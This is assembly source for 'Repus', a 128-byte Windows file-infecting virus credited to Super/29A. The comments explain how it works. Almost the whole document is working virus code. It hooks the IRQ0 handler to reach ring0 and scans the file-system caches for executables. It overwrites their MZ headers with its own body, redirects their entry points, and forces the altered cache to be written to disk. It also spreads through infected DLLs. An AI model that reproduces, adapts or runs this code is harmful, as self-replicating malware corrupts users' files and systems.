;=============;
; Repus virus ;
;=============;

;Coded by Super/29A

;VirusSize = 128 bytes !!!


;This is the third member of the Repus family


;-When an infected file is executed the virus patches IRQ0 handler and waits
; for it to return control to virus in ring0
;-Once in ring0, the virus searches in all caches a valid MZheader to infect,
; modifying EntryPoint (in PEheader) so virus can get control on execution
;-It will infect no more than one MZheader at a time per file system
;-MZheader will be overwritten, however windows executes it with no problems
; (tested under win95,win98,winNT and Win2K)
;-When executing a non infected file that imports APIs from an infected DLL,
; virus will get control on DLL inicialization and infect more MZheaders


;-------------------------------------------------------------------

 .386p
 .model flat,STDCALL

 extrn ExitProcess : near
 extrn MessageBoxA : near

;-------------------------------------------------------------------

VirusSize = (VirusEnd - VirusStart)

VCache_Enum macro
 int 20h
 dw 0009h
 dw 048Bh
endm

;-------------------------------------------------------------------

.data

Title:
 db 'Super/29A presents...',0

Text:
 db 'Repus.'
 db '0' + (VirusSize/100) mod 10
 db '0' + (VirusSize/10) mod 10
 db '0' + (VirusSize/1) mod 10
 db 0

;-------------------------------------------------------------------


.code

;===================================================================

VirusStart:

   db 'M'   ; dec ebp

VirusEntryPoint:

   db 'Z'   ; pop edx

   push edx
   dec edx
   jns JumpHost   ; exit if we are running winNT

   mov ebx,0C0001100h   ; IRQ0 ring0 handler

   mov dl,0C3h

   xchg dl,[ebx]   ; hook IRQ0 to get ring0

Wait_IRQ0:

   cmp esp,edx
   jb Wait_IRQ0


;Now we are in ring0


   xchg dl,[ebx]

   lea edx,[eax+(InfectCache-VirusEntryPoint)]   ; EDX = infection routine

   fld qword ptr [eax+(Next_FSD-VirusEntryPoint)]   ; save VxD dinamic call

Next_FSD:

   VCache_Enum   ; enumerate all caches

   inc ah
   jnz Next_FSD   ; try next file system

   call ebx   ; return control to IRQ0 and return just after the CALL


;Now we are in ring3


JumpHost:

   jmp HostEntryPoint   ; return control to host

;-------------------------------------------------------------------

InfectCache:

   xor dl,dl   ; EDX = ImageBase

   mov edi,[esi+10h]   ; EDI = MZheader

   movzx ecx,byte ptr [edi+3Ch]

   cmp byte ptr [edi+ecx],'P'   ; check for PEheader
   jnz _ret

Offset3B:

   and eax,00000080h   ; EAX = 0

   xchg esi,edx   ; ESI = ImageBase
                  ; EDX = Cache Block Structure

   cmpsb   ; check for MZheader
   jnz _ret

   mov [esi-1+(Offset3B+1-VirusStart)],ecx   ; save offset of PEheader

   fst qword ptr [esi-1+(Next_FSD-VirusStart)]   ; restore VxD dinamic call

   inc eax   ; EAX = 1

   xchg eax,[edi-1+ecx+28h]   ; set virus EntryPoint

   sub eax,(JumpHost+5-VirusStart)

   jb _ret   ; jump if its already infected

   mov cl,(VirusSize-1)

   rep movsb   ; copy virus to MZheader

   mov [edi+(JumpHost+1-VirusEnd)],eax   ; fix jump to host


;Here we are gonna find the pointer to the pending cache writes


   mov ch,2
   lea eax,[ecx-0Ch]  ; EAX=1F4h   ;-D
   mov edi,[edx+0Ch]  ; EDI = VRP (Volume Resource Pointer)
   repnz scasd
   jnz _ret  ; not found  :-(

   ; EDI = offset in VRP which contains PendingList pointer

   cmp [edi],ecx   ; check if there are other pending cache writes
   ja _ret

   cmp [edi+30h],ah   ; only infect logical drives C,D,...
   jbe _ret


;Now we are gonna insert this cache in the pending cache writes


   or byte ptr [edx+32h],ah  ; set dirty bit

   mov [edx+1Ch],edx  ; set PendingList->Next
   mov [edx+20h],edx  ; set PendingList->Previous

   mov [edi],edx  ; set PendingList pointer

_ret:

   ret

   db '29A'

VirusEnd:

;===================================================================

 db 1000h dup(90h)

HostEntryPoint proc near

 push 0
 push offset Title
 push offset Text
 push 0
 call MessageBoxA

 push 0
 call ExitProcess

HostEntryPoint endp

;===================================================================

ends
end VirusEntryPoint